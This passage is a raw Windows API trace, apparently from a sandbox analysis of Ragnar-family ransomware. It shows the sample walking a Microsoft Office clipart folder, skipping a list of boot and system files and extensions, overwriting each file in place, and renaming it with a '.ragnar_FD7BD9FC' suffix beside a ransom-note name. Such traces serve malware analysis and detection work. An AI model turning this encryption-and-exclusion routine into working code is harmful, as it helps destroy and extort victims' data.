lpNumberOfBytesWritten=0x1eaf30*=0x1ae6, lpOverlapped=0x0) returned 1 [0089.513] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ae6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.513] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ae6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.513] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.513] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.513] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.513] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.513] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.514] GetProcessHeap () returned 0x580000 [0089.514] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.514] CloseHandle (hObject=0xf4) returned 1 [0089.514] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" [0089.514] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.ragnar_FD7BD9FC" [0089.514] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.514] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0089.514] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.515] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00608_.WMF" | out: lpString1="PE00608_.WMF") returned="PE00608_.WMF" [0089.515] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF") returned=".WMF" [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="autorun.inf") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="boot.ini") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="bootfont.bin") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="bootsect.bak") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="bootmgr") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="bootmgr.efi") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="desktop.ini") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="iconcache.db") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="ntldr") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="ntuser.dat") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="ntuser.ini") returned 1 [0089.515] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="thumbs.db") returned -1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.515] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf")) returned 0x20 [0089.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.516] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6440) returned 1 [0089.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x191f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.516] GetProcessHeap () returned 0x580000 [0089.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.516] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.518] VirtualAlloc (lpAddress=0x0, dwSize=0x1928, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.518] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1928, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1928, lpOverlapped=0x0) returned 1 [0089.519] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.519] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1928, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.519] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1928, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1928, lpOverlapped=0x0) returned 1 [0089.519] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1928, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.519] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.520] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.520] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.520] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.520] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.520] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.520] GetProcessHeap () returned 0x580000 [0089.520] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.520] CloseHandle (hObject=0xf4) returned 1 [0089.520] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" [0089.520] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.ragnar_FD7BD9FC" [0089.520] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0089.521] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.521] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00633_.WMF" | out: lpString1="PE00633_.WMF") returned="PE00633_.WMF" [0089.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF") returned=".WMF" [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="autorun.inf") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="boot.ini") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="bootfont.bin") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="bootsect.bak") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="bootmgr") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="bootmgr.efi") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="desktop.ini") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="iconcache.db") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="ntldr") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="ntuser.dat") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.521] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="ntuser.ini") returned 1 [0089.522] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="thumbs.db") returned -1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.522] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf")) returned 0x20 [0089.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.522] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19690) returned 1 [0089.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ce1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.522] GetProcessHeap () returned 0x580000 [0089.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.523] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.524] VirtualAlloc (lpAddress=0x0, dwSize=0x4cea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.524] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4cea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4cea, lpOverlapped=0x0) returned 1 [0089.525] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.526] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4cea, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.526] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4cea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4cea, lpOverlapped=0x0) returned 1 [0089.526] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4cea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.526] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4cea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.526] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.526] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.526] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.526] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.526] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.527] GetProcessHeap () returned 0x580000 [0089.527] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.527] CloseHandle (hObject=0xf4) returned 1 [0089.527] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" [0089.527] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.ragnar_FD7BD9FC" [0089.527] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.528] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0089.528] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.528] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00640_.WMF" | out: lpString1="PE00640_.WMF") returned="PE00640_.WMF" [0089.528] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF") returned=".WMF" [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="autorun.inf") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="boot.ini") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="bootfont.bin") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="bootsect.bak") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="bootmgr") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="bootmgr.efi") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="desktop.ini") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="iconcache.db") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="ntldr") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="ntuser.dat") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="ntuser.ini") returned 1 [0089.528] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="thumbs.db") returned -1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.528] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf")) returned 0x20 [0089.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.530] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=45356) returned 1 [0089.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.530] GetProcessHeap () returned 0x580000 [0089.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.530] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.531] VirtualAlloc (lpAddress=0x0, dwSize=0xb12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.532] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb12c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb12c, lpOverlapped=0x0) returned 1 [0089.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb12c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.534] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb12c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb12c, lpOverlapped=0x0) returned 1 [0089.534] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb12c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.534] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb12c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.534] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, 